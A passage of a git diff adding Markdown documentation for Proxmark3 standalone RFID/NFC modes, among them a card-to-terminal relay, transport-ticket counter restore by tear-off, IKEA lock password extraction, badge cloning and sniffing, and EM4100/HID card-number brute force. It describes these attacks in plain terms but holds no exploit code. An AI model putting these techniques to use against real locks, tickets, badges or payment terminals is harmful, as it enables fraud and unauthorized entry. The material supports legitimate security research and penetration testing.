forwards them to Device A over BT, plays back card responses to the terminal. +3. **Bluetooth Link**: USART-based BT serial bridge with a custom framing protocol (preamble `0xAA`, length, data, postamble `0xBB`). +4. **Timing**: Implements WTX (Waiting Time eXtension) and ACK management to keep the terminal patient during relay delay. This is important for terminals like SumUp that have tight timing requirements. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Reader mode active (proximate to card) | +| **C** (solid) | Emulation mode active (proximate to terminal) | +| **A+C** (blink) | BT data exchange in progress | +| **B+D** (blink) | Error / timeout | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Button press** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Init : Startup + + Init --> ReaderMode : BT connected\n(reader side) + Init --> EmulatorMode : BT connected\n(emulator side) + + state ReaderMode { + WaitBT_Cmd --> SendToCard : Receive APDU via BT + SendToCard --> WaitCard_Resp : ISO14443A transceive + WaitCard_Resp --> SendBT_Resp : Card responds + SendBT_Resp --> WaitBT_Cmd : Response sent over BT + } + + state EmulatorMode { + WaitTerminal_Cmd --> SendBT_Relay : Terminal sends APDU + SendBT_Relay --> WaitBT_Reply : Relay to reader via BT + WaitBT_Reply --> RespondTerminal : Card response received + RespondTerminal --> WaitTerminal_Cmd : Response sent to terminal + } + + ReaderMode --> [*] : Button / disconnect + EmulatorMode --> [*] : Button / disconnect +``` + +## Prerequisites + +- **Two** Proxmark3 RDV4 devices +- Both with Bluetooth modules connected and paired +- Flash each with `HF_REBLAY` standalone firmware +- One device near the card, one near the terminal + +## Compilation + +``` +make clean +make STANDALONE=HF_REBLAY -j +./pm3-flash-fullimage +``` + +## Related + +- [Card Hopper](hf_cardhopper.md) — Similar relay concept using BLE and phone-based bridge diff --git a/doc/standalone/hf_st25_tearoff.md b/doc/standalone/hf_st25_tearoff.md new file mode 100644 index 000000000..e80a641c4 --- /dev/null +++ b/doc/standalone/hf_st25_tearoff.md @@ -0,0 +1,91 @@ +# HF_ST25_TEAROFF — ST25TB Tear-Off / Counter Restore + +> **Author:** Doegox, Iceman +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 with flash (required) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_st25_tearoff.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Store and restore ST25TB/SRx tags using a power tear-off technique on their decrementing counters (blocks 5 and 6). These counters normally can only count down, but a precisely timed tear-off can corrupt and reset them. + +## Why + +ST25TB and SRx NFC tags (used in transport tickets, access systems, etc.) contain one-way counters that decrement on each use. Normally these counters cannot be reset. The tear-off technique exploits the fact that if the RF field drops at the precise moment a counter write is completing, the write may fail or partially complete — potentially restoring a previous counter value. This enables research into counter-based anti-replay mechanisms. + +## How + +1. **LEARN mode**: Reads up to 8 ST25TB tags and stores their complete memory dump (including counter blocks 5 & 6) to Proxmark3 flash memory. +2. **RESTORE mode**: Reads a previously-learned tag, compares current counter values to stored values, and if the counters have decremented, attempts a tear-off write to restore the original counter values. +3. **Tear-off mechanism**: Rapidly toggles the RF field at the precise moment the counter write completes, attempting to corrupt the write. Retries with varied timing until the counter is restored or the maximum attempt count is reached. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **D** (solid) | LEARN mode active | +| **C** (solid) | RESTORE mode active | +| **A** (solid) | Operation succeeded (counter restored) | +| **B** (solid) | Operation failed | +| **A+B+C+D** (blink) | Searching for tag | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Toggle between LEARN and RESTORE mode | +| **Long hold** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> LEARN : Startup + + state LEARN { + WaitTag_L --> ReadTag : Tag detected + ReadTag --> StoreFlash : Read all blocks + StoreFlash --> WaitTag_L : Saved (up to 8 tags) + } + + state RESTORE { + WaitTag_R --> MatchTag : Tag detected + MatchTag --> CompareCounters : UID matched to stored + CompareCounters --> TearOff : Counter decremented + CompareCounters --> SkipRestore : Counter matches stored + TearOff --> VerifyRestore : RF tear-off attempt + VerifyRestore --> Success : Counter restored + VerifyRestore --> TearOff : Counter still low, retry + VerifyRestore --> Fail : Max attempts reached + Success --> WaitTag_R + SkipRestore --> WaitTag_R + Fail --> WaitTag_R + } + + LEARN --> RESTORE : Button click + RESTORE --> LEARN : Button click + + LEARN --> [*] : Long hold + RESTORE --> [*] : Long hold +``` + +## Stored Data + +| Flash File | Contents | +|------------|----------| +| Tag dumps | Full block data for up to 8 ST25TB tags | + +## Compilation + +``` +make clean +make STANDALONE=HF_ST25_TEAROFF -j +./pm3-flash-fullimage +``` + +## Related + +- [ST25TA / IKEA Rothult](hf_tcprst.md) — Similar ST25 family, different attack diff --git a/doc/standalone/hf_tcprst.md b/doc/standalone/hf_tcprst.md new file mode 100644 index 000000000..703ec3483 --- /dev/null +++ b/doc/standalone/hf_tcprst.md @@ -0,0 +1,94 @@ +# HF_TCPRST — IKEA Rothult / ST25TA Password Extractor + +> **Author:** Nick Draffen (tcprst) +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_tcprst.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Reads, simulates, dumps, and emulates IKEA Rothult NFC lock tags (ST25TA series). Extracts the 16-byte password stored on the tag, which acts as the key to the lock. + +## Why + +The IKEA Rothult is a battery-operated NFC lock that uses ST25TA02K tags (ISO 14443A, Type 4 tag). The lock authenticates by reading a specific NDEF record from the tag. By extracting this 16-byte password, you can clone the tag or emulate it — useful for creating backup keys or for security research on the lock mechanism. + +## How + +1. **READ**: Selects the ST25TA tag via ISO 14443A anticollision, sends NDEF SELECT commands, reads the NDEF file containing the 16-byte password. +2. **SIM**: Simulates a tag with the previously read UID (basic UID-level simulation). +3. **DUMP**: Outputs the extracted password over USB debug (requires client connection). +4. **EMUL**: Full tag emulation — responds to reader commands with the captured NDEF data including password. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | READ mode | +| **B** (solid) | SIM mode (UID simulation) | +| **C** (solid) | DUMP mode | +| **D** (solid) | EMUL mode (full emulation) | +| **A-D** (sequential) | Cycling through active mode indicator | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Advance to next mode (READ→SIM→DUMP→EMUL→READ) | +| **Long hold** | Execute current mode action | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup + + READ --> SIM : Button click + SIM --> DUMP : Button click + DUMP --> EMUL : Button click + EMUL --> READ : Button click + + state READ { + [*] --> WaitCard_R + WaitCard_R --> SelectTag : Tag detected + SelectTag --> ReadNDEF : ST25TA selected + ReadNDEF --> ExtractPwd : NDEF file read + ExtractPwd --> Done_R : 16-byte password stored + } + + state SIM { + [*] --> Simulating + Simulating --> Done_S : Button press stops sim + } + + state DUMP { + [*] --> PrintPwd + PrintPwd --> Done_D : Password printed to debug + } + + state EMUL { + [*] --> Emulating + Emulating --> Done_E : Button press stops emul + } + + READ --> [*] : USB connection + SIM --> [*] : USB connection + DUMP --> [*] : USB connection + EMUL --> [*] : USB connection +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_TCPRST -j +./pm3-flash-fullimage +``` + +## Related + +- [ST25TB Tear-Off](hf_st25_tearoff.md) — Related ST25 family tag manipulation +- [MIFARE Classic Simulator](hf_mfcsim.md) — Another HF tag emulator diff --git a/doc/standalone/hf_tmudford.md b/doc/standalone/hf_tmudford.md new file mode 100644 index 000000000..1d70608e5 --- /dev/null +++ b/doc/standalone/hf_tmudford.md @@ -0,0 +1,74 @@ +# HF_TMUDFORD — ISO 15693 UID Emulator + +> **Author:** Tim Mudford +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_tmudford.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Reads an ISO 15693 tag UID and emulates it. Simple two-state mode: read a tag, then replay its UID to 15693 readers. + +## Why + +ISO 15693 (iCODE, Tag-it, I-Code) tags are used in library systems, industrial automation, and access control. This mode provides a quick way to clone and emulate a 15693 tag's UID for testing readers and access systems that rely solely on UID-based identification. + +## How + +1. **READ**: Sends an ISO 15693 inventory request. When a tag responds, captures its 8-byte UID. +2. **EMULATE**: Emulates a 15693 tag with the captured UID, responding to inventory and select commands from a reader. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A+D** (solid) | READ mode — waiting for tag | +| **B+C** (solid) | EMULATE mode — replaying UID | +| **A-D** (sequential blink) | Transition / activity | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Long hold (≥1000ms)** | Switch between READ and EMULATE modes | +| **Button press** | Exit standalone mode (while idle) | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup + + state READ { + [*] --> Inventory + Inventory --> Captured : Tag responds with UID + Captured --> Inventory : Continue scanning + } + + state EMULATE { + [*] --> SimUID + SimUID --> SimUID : Responding to readers + } + + READ --> EMULATE : Long hold\n(UID captured) + EMULATE --> READ : Long hold + + READ --> [*] : Button press / USB + EMULATE --> [*] : Button press / USB +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_TMUDFORD -j +./pm3-flash-fullimage +``` + +## Related + +- [ISO 15693 Dump & Simulate](hf_15sim.md) — Full 15693 memory dump and emulation +- [ISO 15693 Sniffer](hf_15sniff.md) — Passive 15693 sniffing diff --git a/doc/standalone/hf_unisniff.md b/doc/standalone/hf_unisniff.md new file mode 100644 index 000000000..707011fcc --- /dev/null +++ b/doc/standalone/hf_unisniff.md @@ -0,0 +1,109 @@ +# HF_UNISNIFF — Multi-Protocol HF Sniffer + +> **Author:** Equip +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 recommended (flash for config persistence) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_unisniff.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A universal HF sniffer that supports multiple protocols — ISO 14443A, ISO 14443B, ISO 15693, and iCLASS — selectable at runtime via button press before sniffing begins. + +## Why + +Rather than flashing different standalone firmware for each protocol you want to sniff, this mode combines all four HF sniffing protocols into a single firmware. You select the protocol at startup using the button, then sniff. This is especially useful when you don't know which protocol a target system uses. + +## How + +1. **Protocol Selection**: On startup, the LEDs indicate the currently selected protocol. Press the button to cycle through protocols. +2. **Sniff**: Hold the button to start sniffing the selected protocol. The Proxmark3 passively captures RF traffic between a reader and tag. +3. **Data Storage**: If flash is available, captured trace data is saved to `hf_unisniff.trace`. Otherwise data is held in BigBuf (volatile — lost on power cycle). +4. **Retrieval**: Connect to the client and download the trace data for analysis. + +## LED Indicators — Protocol Selection + +| LED Pattern | Protocol | +|-------------|----------| +| **A** only | ISO 14443A | +| **B** only | ISO 14443B | +| **C** only | ISO 15693 | +| **D** only | iCLASS | + +## LED Indicators — Operation + +| LED | Meaning | +|-----|---------| +| **Selected LED** (blink) | Sniffing in progress | +| **A+B+C+D** (solid) | Error | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Cycle to next protocol (A→B→C→D→A) | +| **Long hold** | Start sniffing selected protocol | +| **Press during sniff** | Stop sniffing | + +## Configuration File + +If flash is available, the mode reads `hf_unisniff.conf` to remember the last-used protocol. Format is a single byte: + +| Value | Protocol | +|-------|----------| +| `0x01` | ISO 14443A | +| `0x02` | ISO 14443B | +| `0x03` | ISO 15693 | +| `0x04` | iCLASS | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> SelectProtocol : Startup + + state SelectProtocol { + [*] --> ISO14443A + ISO14443A --> ISO14443B : Button click + ISO14443B --> ISO15693 : Button click + ISO15693 --> iCLASS : Button click + iCLASS --> ISO14443A : Button click + } + + SelectProtocol --> Sniffing : Long hold + + state Sniffing { + [*] --> Capture + Capture --> Capture : Logging packets + } + + Sniffing --> SaveTrace : Button press / buffer full + SaveTrace --> SelectProtocol : Trace saved to flash + SaveTrace --> [*] : No flash (data in BigBuf) + + SelectProtocol --> [*] : USB connection +``` + +## Flash Files + +| File | Contents | +|------|----------| +| `hf_unisniff.conf` | Last-selected protocol (1 byte) | +| `hf_unisniff.trace` | Captured trace data | + +## Compilation + +``` +make clean +make STANDALONE=HF_UNISNIFF -j +./pm3-flash-fullimage +``` + +## Related + +- [ISO 14443A Sniffer](hf_14asniff.md) — Dedicated 14443A sniffer +- [ISO 14443B Sniffer](hf_14bsniff.md) — Dedicated 14443B sniffer +- [ISO 15693 Sniffer](hf_15sniff.md) — Dedicated 15693 sniffer +- [iCLASS](hf_iceclass.md) — iCLASS multi-mode (includes sniffing) diff --git a/doc/standalone/hf_young.md b/doc/standalone/hf_young.md new file mode 100644 index 000000000..26a8d24b2 --- /dev/null +++ b/doc/standalone/hf_young.md @@ -0,0 +1,86 @@ +# HF_YOUNG — MIFARE Classic Sniffer/Simulator (2-Bank) + +> **Author:** Craig Young +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_young.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Sniffs MIFARE Classic 1K communications between a reader and card, then simulates or clones the captured data. Features two memory banks for storing different card captures. + +## Why + +MIFARE Classic is the most widely deployed contactless smart card. This mode enables field-based capture of reader-card transactions followed by immediate simulation or cloning — useful for testing access control systems and understanding their authentication sequences without needing a laptop. + +## How + +1. **RECORD**: Places the Proxmark3 in sniffer mode to capture ISO 14443A / MIFARE Classic communications. The captured UID, ATQA, SAK, and key data are stored in the selected bank. +2. **PLAY**: Emulates a MIFARE Classic card using the captured UID and data, responding to reader authentication requests. +3. **CLONE**: Writes captured data to a "magic" Gen1a MIFARE Classic card (one with a writable Block 0). + +Each of the two banks can independently store a captured card's data. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Bank 0 selected | +| **B** (solid) | Bank 1 selected | +| **C** (solid) | RECORD mode | +| **D** (solid) | PLAY (simulate) mode | +| **C+D** (solid) | CLONE mode | +| **A-D** (blink) | Activity | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Advance state: RECORD → PLAY → CLONE → RECORD | +| **Long hold** | Switch between Bank 0 and Bank 1 | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Bank0_RECORD : Startup + + state Bank0 { + Bank0_RECORD --> Bank0_PLAY : Click + Bank0_PLAY --> Bank0_CLONE : Click + Bank0_CLONE --> Bank0_RECORD : Click + } + + state Bank1 { + Bank1_RECORD --> Bank1_PLAY : Click + Bank1_PLAY --> Bank1_CLONE : Click + Bank1_CLONE --> Bank1_RECORD : Click + } + + Bank0_RECORD --> Bank1_RECORD : Long hold + Bank0_PLAY --> Bank1_PLAY : Long hold + Bank0_CLONE --> Bank1_CLONE : Long hold + Bank1_RECORD --> Bank0_RECORD : Long hold + Bank1_PLAY --> Bank0_PLAY : Long hold + Bank1_CLONE --> Bank0_CLONE : Long hold + + Bank0_RECORD --> [*] : USB connection + Bank1_RECORD --> [*] : USB connection +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_YOUNG -j +./pm3-flash-fullimage +``` + +## Related + +- [MattyRun](hf_mattyrun.md) — Automated MFC key check, nested attack, dump, and emulate +- [CraftByte](hf_craftbyte.md) — 14443A UID stealer/emulator +- [MIFARE Classic Simulator](hf_mfcsim.md) — Multi-slot MFC simulator from flash dumps diff --git a/doc/standalone/lf_em4100emul.md b/doc/standalone/lf_em4100emul.md new file mode 100644 index 000000000..c5a794632 --- /dev/null +++ b/doc/standalone/lf_em4100emul.md @@ -0,0 +1,83 @@ +# LF_EM4100EMUL — EM4100 Simulator + +> **Author:** temskiy +> **Frequency:** LF (125 kHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_em4100emul.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Simulates a set of predefined EM4100 tag IDs in sequence. The Proxmark3 cycles through a list of hardcoded EM4100 IDs, broadcasting each one for a period before moving to the next. + +## Why + +This is useful when you already know the EM4100 IDs you want to replay and need a simple, standalone way to cycle through them without a host connection. Common scenarios: + +- **Testing access control readers**: Verify which IDs are accepted +- **Red team walk-through**: Pre-load known badges and cycle through them at doors +- **Development & debugging**: Verify your EM4100 reader code against known-good IDs + +## How + +1. The firmware contains a hardcoded array of EM4100 IDs +2. On startup, it selects the first slot and begins simulating +3. It automatically advances to the next slot after each simulation cycle +4. The device shows the current slot number via LED binary encoding + +The simulation uses Manchester encoding at the configured bit rate to emulate an EM4100 tag. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A/B/C/D** (binary) | Current slot number displayed in binary (LED A = bit 0, etc.) | +| All LEDs off | Idle / transitioning between slots | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 500ms** | Exit standalone mode | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> SelectSlot0 : Startup + + SelectSlot0 --> Emulate0 : Auto + Emulate0 --> SelectSlot1 : Simulation complete + + SelectSlot1 --> Emulate1 : Auto + Emulate1 --> SelectSlot2 : Simulation complete + + SelectSlot2 --> Emulate2 : Auto + Emulate2 --> SelectSlot3 : Simulation complete + + SelectSlot3 --> Emulate3 : Auto + Emulate3 --> SelectSlot0 : Cycle back + + Emulate0 --> [*] : Button hold 500ms + Emulate1 --> [*] : Button hold 500ms + Emulate2 --> [*] : Button hold 500ms + Emulate3 --> [*] : Button hold 500ms +``` + +## Compilation + +``` +make clean +make STANDALONE=LF_EM4100EMUL -j +./pm3-flash-fullimage +``` + +## Related + +- [EM4100 RSWB](lf_em4100rswb.md) — Full read/sim/write/brute for EM4100 +- [EM4100 RSWW](lf_em4100rsww.md) — Read/sim/write/wipe/validate +- [EM4100 RWC](lf_em4100rwc.md) — Read/sim/clone with 16 slots +- [T5577 Introduction Guide](../T5577_Guide.md) — Background on T5577/EM4100 technology diff --git a/doc/standalone/lf_em4100rswb.md b/doc/standalone/lf_em4100rswb.md new file mode 100644 index 000000000..32b5322bf --- /dev/null +++ b/doc/standalone/lf_em4100rswb.md @@ -0,0 +1,90 @@ +# LF_EM4100RSWB — EM4100 Read/Simulate/Write/Brute + +> **Author:** Monster1024 +> **Frequency:** LF (125 kHz) +> **Hardware:** RDV4 (requires flash memory for slot storage) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_em4100rswb.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A full-featured EM4100 attack mode with four operations: **read**, **simulate**, **write to T55x7**, and **brute force**. Supports 4 card storage slots with flash persistence on RDV4 hardware. + +## Why + +This is the most versatile EM4100 standalone mode. While simpler modes only read or simulate, RSWB combines all four essential operations — plus brute forcing — into a single firmware image. This is ideal for: + +- **Pentesting EM4100 access control**: Read a badge, simulate it, then write a clone, all standalone +- **Brute force attacks**: Iterate through card numbers to find valid ones when you don't have a known-good badge +- **Multi-target assessments**: Store up to 4 different badges and switch between them on-site + +## How + +1. **READ mode**: Listens for EM4100 cards. On successful read, stores the ID in the current slot and automatically transitions to SIM mode +2. **SIM mode**: Broadcasts the stored EM4100 ID. Button press moves to WRITE mode +3. **WRITE mode**: Writes the stored ID to a T55x7 blank card placed on the antenna +4. **BRUTE mode**: Sequentially transmits incrementing card numbers. Double-click saves a working number; hold changes brute speed + +Slot data persists across reboots via the RDV4's SPI flash memory. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A, B** (binary) | Current mode: 00=READ, 01=SIM, 10=WRITE, 11=BRUTE | +| **C, D** (binary) | Current slot: 00=Slot1, 01=Slot2, 10=Slot3, 11=Slot4 | +| All flash on operation | Success confirmation | + +## Button Controls + +| Context | Action | Effect | +|---------|--------|--------| +| Any mode | **Single click** | Switch mode (READ → SIM → WRITE → BRUTE → READ) | +| Any mode | **Hold** | Switch slot (1 → 2 → 3 → 4 → 1) | +| BRUTE | **Single click** | Exit brute mode → READ | +| BRUTE | **Double-click** | Save current brute position | +| BRUTE | **Hold** | Change brute speed | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup (load slots from flash) + + READ --> SIM : Card read successfully\n(auto-transition) + READ --> SIM : Single click + SIM --> WRITE : Single click + WRITE --> BRUTE : Single click + BRUTE --> READ : Single click\nor brute complete + + READ --> READ : Hold (switch slot) + SIM --> SIM : Hold (switch slot) + WRITE --> WRITE : Hold (switch slot) + BRUTE --> BRUTE : Hold (change speed)\nDouble-click (save position) + + READ --> [*] : USB data received + SIM --> [*] : USB data received +``` + +## Flash Storage + +- Slot data is saved to and loaded from the RDV4 SPI flash +- 4 slots, each storing the raw EM4100 ID +- Data persists across power cycles + +## Compilation + +``` +make clean +make STANDALONE=LF_EM4100RSWB -j +./pm3-flash-fullimage +``` + +## Related + +- [EM4100 Emulator](lf_em4100emul.md) — Simple predefined EM4100 simulator +- [EM4100 RSWW](lf_em4100rsww.md) — Read/sim/write/wipe/validate variant +- [EM4100 RWC](lf_em4100rwc.md) — 16-slot read/sim/clone +- [T5577 Introduction Guide](../T5577_Guide.md) — Background on T5577/EM4100 diff --git a/doc/standalone/lf_em4100rsww.md b/doc/standalone/lf_em4100rsww.md new file mode 100644 index 000000000..3fb953a7f --- /dev/null +++ b/doc/standalone/lf_em4100rsww.md @@ -0,0 +1,89 @@ +# LF_EM4100RSWW — EM4100 Read/Simulate/Write/Wipe/Validate + +> **Author:** Łukasz "zabszk" Jurczyk +> **Frequency:** LF (125 kHz) +> **Hardware:** RDV4 (requires flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_em4100rsww.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +An EM4100 multi-tool that adds **wipe** and **validate** operations on top of read/simulate/write. Automatically saves read IDs to flash memory for persistence across power cycles. + +## Why + +Unlike RSWB which focuses on brute forcing, RSWW focuses on the **clone verification workflow**: read a tag, write it to a T55x7, then validate the clone reads back correctly. The wipe function lets you reset T55x7 cards to a blank state. This is the mode to use when: + +- **Quality-checking clones**: Verify the written data matches the original +- **Preparing blank cards**: Wipe T55x7 cards back to factory state +- **Field work with persistence**: Read IDs survive reboots via flash + +## How + +1. **READ**: Listens for EM4100 tags and stores the ID to flash +2. **EMULATE**: Broadcasts the stored ID (defaults to this mode if flash has data from a previous session) +3. **WRITE**: Writes the stored ID to a T55x7 tag +4. **VALIDATE**: Reads back a T55x7 and compares it to the stored ID to confirm a successful clone +5. **WIPE**: Resets a T55x7 tag to its default (empty) configuration + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | READ mode active | +| **B** (solid) | EMULATE mode active | +| **C** (solid) | VALIDATE mode active | +| **D** (solid) | WIPE mode active | +| Blink pattern | Success/failure indication after operations | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Advance mode (READ → EMULATE → WRITE/VALIDATE) | +| **Hold** | Toggle between READ and EMULATE | +| **Double-click in READ** | Enter WIPE mode | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup (no flash data) + [*] --> EMULATE : Startup (flash has saved ID) + + READ --> EMULATE : Single click\n(ID captured) + EMULATE --> READ : Hold (toggle) + + EMULATE --> WRITE : Single click + WRITE --> VALIDATE : Auto after write + VALIDATE --> EMULATE : Validation complete + + READ --> WIPE : Double-click + WIPE --> READ : Wipe complete + + READ --> [*] : USB data received + EMULATE --> [*] : USB data received +``` + +## Flash Storage + +- Automatically saves the most recent read ID to SPI flash +- Loads stored ID on startup; if found, starts in EMULATE mode +- One slot for persistent storage + +## Compilation + +``` +make clean +make STANDALONE=LF_EM4100RSWW -j +./pm3-flash-fullimage +``` + +## Related + +- [EM4100 RSWB](lf_em4100rswb.md) — 4-slot variant with brute force +- [EM4100 Emulator](lf_em4100emul.md) — Simple hardcoded EM4100 simulator +- [EM4100 RWC](lf_em4100rwc.md) — 16-slot read/sim/clone diff --git a/doc/standalone/lf_em4100rwc.md b/doc/standalone/lf_em4100rwc.md new file mode 100644 index 000000000..e1dc7fff1 --- /dev/null +++ b/doc/standalone/lf_em4100rwc.md @@ -0,0 +1,79 @@ +# LF_EM4100RWC — EM4100 Read/Write/Clone (16 Slots) + +> **Author:** temskiy +> **Frequency:** LF (125 kHz) +> **Hardware:** RDV4 (flash memory for slot storage) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_em4100rwc.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Read, simulate, and clone EM4100 tags with **16 storage slots**. Pre-loaded with 3 sample IDs. Provides the largest card storage capacity of any EM4100 standalone mode. + +## Why + +When you need to collect and manage many EM4100 IDs on a single assessment — for example, reading badges from multiple employees — having 16 slots lets you capture a full team's credentials on-device. Each slot is independently selectable for simulation or cloning. + +## How + +1. **SELECT**: Navigate between the 16 slots using button clicks +2. **READ**: Read an EM4100 tag and store it in the currently selected slot +3. **SIMULATE**: Broadcast the selected slot's ID +4. **WRITE**: Clone the selected slot's ID to a T5555 card + +The mode cycles through these four states with button holds to switch modes and clicks to execute within a mode. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A/B/C/D** (binary) | Slot number in binary (0–15) | +| Blink patterns | Operation success/failure | + +## Button Controls + +| State | Action | Effect | +|-------|--------|--------| +| SELECT | **Single click** | Next slot | +| SELECT | **Hold** | Switch to SIMULATE mode | +| READ | **Single click** | Read tag into current slot | +| READ | **Hold** | Switch to WRITE mode | +| SIMULATE | **Single click** | Start simulation | +| SIMULATE | **Hold** | Switch to READ mode | +| WRITE | **Single click** | Write current slot to T5555 | +| WRITE | **Hold** | Switch to SELECT mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> SELECT : Startup + + SELECT --> SIMULATE : Hold + SIMULATE --> READ : Hold + READ --> WRITE : Hold + WRITE --> SELECT : Hold + + SELECT --> SELECT : Click (next slot) + READ --> READ : Click (read tag) + SIMULATE --> SIMULATE : Click (simulate) + WRITE --> WRITE : Click (write) + + SELECT --> [*] : USB data received +``` + +## Compilation + +``` +make clean +make STANDALONE=LF_EM4100RWC -j +./pm3-flash-fullimage +``` + +## Related + +- [EM4100 RSWB](lf_em4100rswb.md) — 4-slot variant with brute force +- [EM4100 Emulator](lf_em4100emul.md) — Simple predefined simulator +- [EM4100 RSWW](lf_em4100rsww.md) — Read/sim/write/wipe/validate diff --git a/doc/standalone/lf_hidbrute.md b/doc/standalone/lf_hidbrute.md new file mode 100644 index 000000000..85334e973 --- /dev/null +++ b/doc/standalone/lf_hidbrute.md @@ -0,0 +1,82 @@ +# LF_HIDBRUTE — HID Corporate 1000 Bruteforce + +> **Authors:** Federico Dotta & Maurizio Agazzini +> **Frequency:** LF (125 kHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_hidbrute.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Reads an HID Corporate 1000 (35-bit) card, then brute forces the card number up/down from the captured value while preserving the facility code. Also supports direct simulation and cloning. + +## Why + +HID Corporate 1000 uses a 35-bit format with a facility code and card number. If you can read one card, you likely know the facility code for that site. By brute forcing the card number, you can test other valid badge numbers in the same facility — for example, finding an admin badge number when you only have a standard user badge. + +Use cases: +- **Privilege escalation**: Find higher-privilege card numbers in the same facility +- **Adjacent badge discovery**: Walk through card numbers near a known-good badge +- **Access control testing**: Verify whether sequential card numbers are provisioned + +## How + +1. **Record**: Read an HID Corporate 1000 card to capture facility code + card number +2. **Clone**: Write the captured credentials to a T55x7 card +3. **Brute**: Simulate incrementing/decrementing card numbers with the same facility code + +The brute force iterates the card number portion while keeping the facility code constant from the originally recorded card. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Slot 0 selected / cloning active | +| **B** (solid) | Slot 1 selected / simulation active | +| **C** (solid) | Slot 2 selected | +| **D** (solid) | Status indicator | +| LED(slot+1) | Indicates currently active slot during recording | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 280ms** | Advance state (select → record → clone/brute → repeat) | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> SlotSelect : Startup + + SlotSelect --> Record : Button hold (280ms) + Record --> Clone : Button hold (card captured) + Record --> Record : Button hold (no card) + + Clone --> BruteForce : Button hold + BruteForce --> Record : Button hold (exit brute) + + Clone --> SlotSelect : Operation complete + + SlotSelect --> [*] : USB data received + Record --> [*] : USB data received +``` + +## Compilation + +``` +make clean +make STANDALONE=LF_HIDBRUTE -j +./pm3-flash-fullimage +``` + +## Related + +- [SamyRun](lf_samyrun.md) — HID26 read/clone/simulate +- [HID FC Brute](lf_hidfcbrute.md) — Brute force HID facility codes +- [ProxBrute](lf_proxbrute.md) — HID ProxII card number brute force +- [Prox2Brute](lf_prox2brute.md) — ProxII brute force v2 +- [HID Downgrade 